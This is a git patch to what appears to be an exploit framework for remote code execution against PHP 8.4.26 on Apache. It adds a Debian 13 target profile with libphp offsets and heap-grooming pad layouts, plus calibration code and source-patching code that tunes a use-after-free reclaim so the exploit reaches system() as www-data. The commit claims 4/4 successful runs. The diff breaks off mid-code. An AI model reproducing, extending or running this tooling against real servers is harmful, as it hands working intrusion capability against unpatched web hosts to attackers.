From 3d5820271e78c438e56d3249f1dfd9761ae5e0b9 Mon Sep 17 00:00:00 2001 From: oOSH4rpZOo Date: Fri, 23 Oct 2026 08:56:27 +0200 Subject: [PATCH] Add deb13-apxs2 amd64 profile and stage-3 composition knobs New build profile: PHP 8.4.26 source-built mod_php (apxs2) on Debian 13, Apache 2.4.69 prefork, one worker, amd64. Offsets differ from the docker 8.4.26 image (different toolchain): zif_system 0x3b19a0, zval_ptr_dtor 0x584f00, htdata 0x6e0d8. Stages 1-2 dispatch cleanly with these values. Third stage-3 layout with a K=5 bin-32 phase shift: the freed session reference lands at R0 = chunk+0x2260+0x60*K, linear in the number of preceding bin-32 pads (gdb watchpoint sweep). Five (4,4) pads align the bin-56 reclaim slot so a 31-byte fake reference is written whole (chars at R0). The built-in 55-byte ref frames the same payload at R0+8 and never reclaims here. New per-build stage-3 knobs (profile fields, env-driven through the same P2S_STAGE3_PADS pattern): stage3_cookie, stage3_wfields, stage3_fake_len, stage3_fakes, stage3_b_name_len. php2shell_calibrate.py --stage3-pads accepts an explicit a:bxN spec alongside the two built-in layouts. Stage-3 phase is instance-dependent on this build: uid=33(www-data) 4/4 runs with the profile's parameters on one apache master instance, no reclaim on masters started the same way (probabilistic, like the 8.4.25 profile; restart and retry). Proof command read out-of-band from /tmp inside the apache mount namespace (PrivateTmp). All knobs documented in docs/upstream-changes.md section 2b. --- docs/upstream-changes.md | 50 +++++++++++++ profiles/php-8.4.26-deb13-apxs2-amd64.json | 57 +++++++++++++++ profiles/schema.json | 24 +++++++ tools/php2shell_auto.py | 12 ++++ tools/php2shell_calibrate.py | 39 ++++++++-- tools/php2shell_upstream.py | 84 +++++++++++++++++----- 6 files changed, 243 insertions(+), 23 deletions(-) create mode 100644 profiles/php-8.4.26-deb13-apxs2-amd64.json diff --git a/docs/upstream-changes.md b/docs/upstream-changes.md index ddda1cf..bba89f8 100644 --- a/docs/upstream-changes.md +++ b/docs/upstream-changes.md @@ -50,6 +50,56 @@ if not (0x10000 < p < 0x0001000000000000): These overrides are what let one upstream checkout serve profiles with different `stage1_n`, forge length and stage-2 parameters. +## 2b. Stage-3 pads override + +In `Exploit.__init__`, right after the stage-2 overrides: + +```python +pads_env = _os.environ.get("P2S_STAGE3_PADS") +if pads_env: + self.stage3_pads = [tuple(int(x) for x in item.split(":")) + for item in pads_env.split(",") if item] +``` + +Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs; +`php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and +`php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same +form with repetition factors, e.g. `4:4x5,31:31x6`. + +The other stage-3 composition knobs (all optional profile fields, all +environment-driven the same way): + +| profile field | env | effect | +| --- | --- | --- | +| `stage3_cookie` | `P2S_STAGE3_COOKIE` | send `Cookie: PHPSESSID=<32 bytes>` on the stage-3 first request | +| `stage3_wfields` | `P2S_STAGE3_WFIELDS` | small fill fields (5-char name, 1-byte value) prepended to request 1 | +| `stage3_fake_len` | `P2S_STAGE3_FAKE_LEN` | byte length of the fake-reference value (replaces the built-in 55-byte ref) | +| `stage3_fakes` | `P2S_STAGE3_FAKES` | number of fake-reference fields in the reclaim run (built-in: 2) | +| `stage3_b_name_len` | `P2S_STAGE3_B_NAME_LEN` | name length of the request-2 fields (built-in: 31) | + +Rationale (measured on a source-built Debian 13 amd64 8.4.26 lab, Apache +2.4.69 apxs2, one prefork worker): non-docker builds shift the startup heap, +so every byte of the stage-3 composition is load-bearing. Measured facts: + +- The freed session reference lands at `R0 = chunk+0x2260+0x60*K`, linear in + the number K of preceding bin-32 pads (gdb watchpoint sweep 0..16). The two + built-in layouts imply K=6/K=8 and misphase this build; five `(4,4)` pads + (K=5) align the bin-56 reclaim slot so a 31-byte fake reference is written + whole with chars at R0. The built-in 55-byte ref frames the same payload at + R0+8 and never reclaims here, hence `stage3_fake_len`. +- Request 1 carries the PHPSESSID cookie and five 5-char/1-byte fill fields, + request 2 uses 3-char field names (`15x` 167-byte fake hashtables then the + fake references) — both participate in the phase. +- Stages 1-2 dispatch cleanly on every attempt with this build's offsets; + stage 3 is instance-dependent: 4/4 runs on one apache master instance, 0/5+ + on others started the same way (matches the 8.4.25 probabilistic precedent + and the known build-to-build lifecycle variance; rotate/restart and retry). +- Proof command runs inside the apache mount namespace (PrivateTmp): read it + out-of-band (`nsenter -t -m -- cat /tmp/p9b`), the dispatcher reports + the run as blind on such targets. + +See `profiles/php-8.4.26-deb13-apxs2-amd64.json`. + ## 3. Optional `noexpose` profile For `expose_php=Off` research, the stage-1 bookworm parameters are combined with diff --git a/profiles/php-8.4.26-deb13-apxs2-amd64.json b/profiles/php-8.4.26-deb13-apxs2-amd64.json new file mode 100644 index 0000000..58f30e8 --- /dev/null +++ b/profiles/php-8.4.26-deb13-apxs2-amd64.json @@ -0,0 +1,57 @@ +{ + "name": "php-8.4.26-deb13-apxs2-amd64", + "php_version": "8.4.26", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "verified": true, + "rce": true, + "upstream_profile": "lab", + "libphp": { + "zif_system": "0x3b19a0", + "zval_ptr_dtor": "0x584f00", + "htdata": "0x6e0d8" + }, + "stages": { + "stage1_n": 892, + "stage1_forge_len": 79, + "stage2_t": 442, + "stage2_v": 1, + "stage3_pads": [ + [4, 4], + [4, 4], + [4, 4], + [4, 4], + [4, 4], + [31, 31], + [31, 31], + [31, 31], + [31, 31], + [31, 31], + [31, 31] + ], + "stage3_carrier": true, + "stage3_cookie": true, + "stage3_wfields": 5, + "stage3_fake_len": 31, + "stage3_fakes": 12, + "stage3_b_name_len": 3 + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (vhost php.ini, leak delivered in Set-Cookie)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fbcf4200000" + }, + "status": "RCE verified on a source-built Debian 13 lab (apxs2, Apache 2.4.69 prefork, 1 worker): uid=33(www-data) 4/4 runs through the vendor engine with this profile's parameters; stages 1-2 dispatch cleanly on every attempt. Stage-3 phase is instance-dependent (after an apache restart, a fresh master may not reclaim; retry on a new instance) and the layout differs from the docker 8.4.26 image (different toolchain): third stage-3 layout with a K=5 bin-32 phase shift. Each (4,4) pad allocates the session reference at the k-th bin-32 slot, shifting the fake-reference slot linearly, R0 = chunk+0x2260+0x60*K (gdb watchpoint sweep 0..16); K=5 places the bin-56 reclaim slot so the 31-byte fake reference is written whole (chars at R0, framing differs from the upstream 55-byte carrier whose chars land at R0+8). Stage-3 request 1 carries a PHPSESSID cookie and five 5-char/1-byte fill fields; request 2 reclaims with 15x 167-byte fake hashtables then 12x 31-byte fake references, all with 3-char field names. Command proof read out-of-band from /tmp inside the apache mount namespace (PrivateTmp; nsenter).", + "oom_mb": 12, + "oom_margin_mb": 12, + "memory_limit_tested_mb": [ + 8 + ], + "distro": "debian", + "arch": "amd64" +} diff --git a/profiles/schema.json b/profiles/schema.json index 015bbb0..afca7de 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -148,6 +148,30 @@ "null" ], "description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated." + }, + "stage3_cookie": { + "type": "boolean", + "description": "Send Cookie: PHPSESSID=<32 bytes> on the stage-3 first request (keeps PS(id) valid and participates in the heap phase on some builds)." + }, + "stage3_wfields": { + "type": "integer", + "minimum": 0, + "description": "Small fill fields (5-char name, 1-byte value) prepended to the stage-3 first request." + }, + "stage3_fake_len": { + "type": "integer", + "minimum": 24, + "description": "Byte length of the fake-reference zend_string value (31 = chars land at R0 on the deb13-apxs2 build; upstream default 55 = chars at R0+8)." + }, + "stage3_fakes": { + "type": "integer", + "minimum": 1, + "description": "Number of fake-reference fields in the stage-3 reclaim run." + }, + "stage3_b_name_len": { + "type": "integer", + "minimum": 1, + "description": "Name length of the stage-3 second-request fields (3-char names shift the reclaim phase versus 31-char names)." } }, "additionalProperties": false diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index b5b4861..900397a 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -485,6 +485,18 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> ("stage2_v", "P2S_STAGE2_V")): if stages.get(key) is not None: env[env_key] = str(stages[key]) + pads = stages.get("stage3_pads") + if pads: + env["P2S_STAGE3_PADS"] = ",".join(f"{a}:{b}" for a, b in pads) + stage3_cookie = stages.get("stage3_cookie") + if stage3_cookie is not None: + env["P2S_STAGE3_COOKIE"] = "1" if stage3_cookie else "0" + for key, env_key in (("stage3_wfields", "P2S_STAGE3_WFIELDS"), + ("stage3_fake_len", "P2S_STAGE3_FAKE_LEN"), + ("stage3_fakes", "P2S_STAGE3_FAKES"), + ("stage3_b_name_len", "P2S_STAGE3_B_NAME_LEN")): + if stages.get(key) is not None: + env[env_key] = str(stages[key]) if not stream: result = subprocess.run(cmd, capture_output=True, text=True, env=env) diff --git a/tools/php2shell_calibrate.py b/tools/php2shell_calibrate.py index 3923503..ed9692b 100755 --- a/tools/php2shell_calibrate.py +++ b/tools/php2shell_calibrate.py @@ -267,12 +267,37 @@ def calibrate_stage2(mod, ex, dtor, hints): return 0, hints.get("stage2_t", 0) +def parse_pads(spec): + """Accepts bookworm | lab | an explicit pads spec like '4:4x5,31:31x6'.""" + if spec is None or spec in ("bookworm", "lab"): + return spec + pads = [] + for part in spec.split(","): + m = re.fullmatch(r"(\d+):(\d+)(?:x(\d+))?", part.strip()) + if not m: + raise SystemExit(f"bad --stage3-pads item: {part!r} (expected a:bxN)") + pads += [(int(m[1]), int(m[2]))] * int(m[3] or 1) + return pads + + +def stage3_profile_json(stage3): + """(stage3_pads, stage3_carrier) pair for the profile JSON.""" + if not stage3: + return None, None + pads = stage3["pads"] + if pads == "lab": + return [[8, 7]] + [[7, 7]] * 5, False + if isinstance(pads, list): + return [list(p) for p in pads], True + return [[31, 31]] * 6, True + + def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints): if not chunk or not lib: return False, None layouts = [] if hints.get("stage3_htdata"): - layouts.append(("hint", hints["stage3_htdata"], hints.get("stage3_pads", "bookworm"))) + layouts.append(("hint", hints["stage3_htdata"], parse_pads(hints.get("stage3_pads")))) else: for off in (0x690D8, 0x6E0D8, 0x5404A): for pads in ("bookworm", "lab"): @@ -286,6 +311,9 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints): if pads == "lab": ex.stage3_carrier = False ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5 + elif isinstance(pads, list): + ex.stage3_carrier = True + ex.stage3_pads = pads else: ex.stage3_carrier = True ex.stage3_pads = [(31, 31)] * 6 @@ -323,7 +351,8 @@ def main() -> int: ap.add_argument("--stage2-t", type=int) ap.add_argument("--stage2-v", type=int, default=16) ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0)) - ap.add_argument("--stage3-pads", choices=("bookworm", "lab")) + ap.add_argument("--stage3-pads", default=None, + help='bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"') ap.add_argument("--distro", default="unknown") ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None) args = ap.parse_args() @@ -369,6 +398,7 @@ def main() -> int: rce, stage3 = calibrate_stage3(mod, ex, chunk, lib, sym["zif_system"], args.proof_file, vars(args)) + s3_pads, s3_carrier = stage3_profile_json(stage3) profile = { "name": f"php-{version}-{args.distro}", "php_version": version, @@ -391,9 +421,8 @@ def main() -> int: "stage1_forge_len": forge_len, "stage2_t": t_index, "stage2_v": args.stage2_v, - "stage3_pads": ([[31, 31]] * 6 if stage3 and stage3["pads"] == "bookworm" - else ([(8, 7)] + [(7, 7)] * 5 if stage3 else None)), - "stage3_carrier": (stage3["pads"] == "bookworm") if stage3 else None, + "stage3_pads": s3_pads, + "stage3_carrier": s3_carrier, }, "config": cfg, "measured": { diff --git a/tools/php2shell_upstream.py b/tools/php2shell_upstream.py index 9d09b57..2841e3f 100644 --- a/tools/php2shell_upstream.py +++ b/tools/php2shell_upstream.py @@ -22,29 +22,77 @@ def _read(repo: str) -> tuple[str, str] | None: def patch_params(repo: str) -> bool: - """Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V.""" + """Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V / P2S_STAGE3_*.""" found = _read(repo) if not found: return False path, source = found + knobs_block = ( + " # P2S_STAGE3_KNOBS\n" + " pads_env = _os.environ.get('P2S_STAGE3_PADS')\n" + " if pads_env:\n" + " self.stage3_pads = [tuple(int(x) for x in item.split(':'))\n" + " for item in pads_env.split(',') if item]\n" + " self._p2s_cookie = _os.environ.get('P2S_STAGE3_COOKIE') == '1'\n" + " self._p2s_wfields = int(_os.environ.get('P2S_STAGE3_WFIELDS', '0') or 0)\n" + " self._p2s_fake_len = int(_os.environ.get('P2S_STAGE3_FAKE_LEN', '0') or 0)\n" + " self._p2s_fakes = int(_os.environ.get('P2S_STAGE3_FAKES', '0') or 0)\n" + " self._p2s_b_name_len = int(_os.environ.get('P2S_STAGE3_B_NAME_LEN', '0') or 0)\n") if "P2S_STAGE1_N" in source: - return False - anchor = " self.stage3_carrier = False\n" - if anchor not in source: - return False - inject = anchor + ( - " import os as _os\n" - " self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n" - " self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n" - " self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n" - " self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n") - source = source.replace(anchor, inject, 1) - source = source.replace('forge = bytearray(b"A" * 79)', - 'forge = bytearray(b"A" * self.stage1_forge_len)') - source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:', - 'if 0x10000 < v < 0x0001000000000000:') - source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):', - 'if not (0x10000 < p < 0x0001000000000000):') + if "P2S_STAGE3_KNOBS" in source: + return False + anchor = " self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n" + if anchor not in source: + return False + source = source.replace(anchor, anchor + knobs_block, 1) + else: + anchor = " self.stage3_carrier = False\n" + if anchor not in source: + return False + inject = anchor + ( + " import os as _os\n" + " self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n" + " self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n" + " self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n" + " self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n" + + knobs_block) + source = source.replace(anchor, inject, 1) + source = source.replace('forge = bytearray(b"A" * 79)', + 'forge = bytearray(b"A" * self.stage1_forge_len)') + source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:', + 'if 0x10000 < v < 0x0001000000000000:') + source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):', + 'if not (0x10000 < p < 0x0001000000000000):') + # stage-3 composition knobs (measured per build; see docs/upstream-changes.md 2b) + stage3_patches = [ + (" parts += [self._file_part(), self._big_field()]", + " for wi in range(getattr(self, '_p2s_wfields', 0) or 0):\n" + " parts.append({\"name\": \"s%04d\" % wi, \"data\": b\"w\"})\n" + " parts += [self._file_part(), self._big_field()]"), + ('if self.profile == "bookworm":', + 'if self.profile == "bookworm" or getattr(self, "_p2s_cookie", False):'), + ("else:\n" + " for i in range(15):\n" + " parts.append({\"name\": f\"a{i:030d}\"[:31], \"data\": ht})\n" + " for i in range(2):\n" + " parts.append({\"name\": f\"f{i:02d}\", \"data\": ref})", + "else:\n" + " bnl = getattr(self, '_p2s_b_name_len', 0) or 31\n" + " for i in range(15):\n" + " parts.append({\"name\": f\"a{i:030d}\"[:bnl], \"data\": ht})\n" + " flen = getattr(self, '_p2s_fake_len', 0) or 0\n" + " nfakes = getattr(self, '_p2s_fakes', 0) or 2\n" + " if flen:\n" + " fake = (struct.pack(\"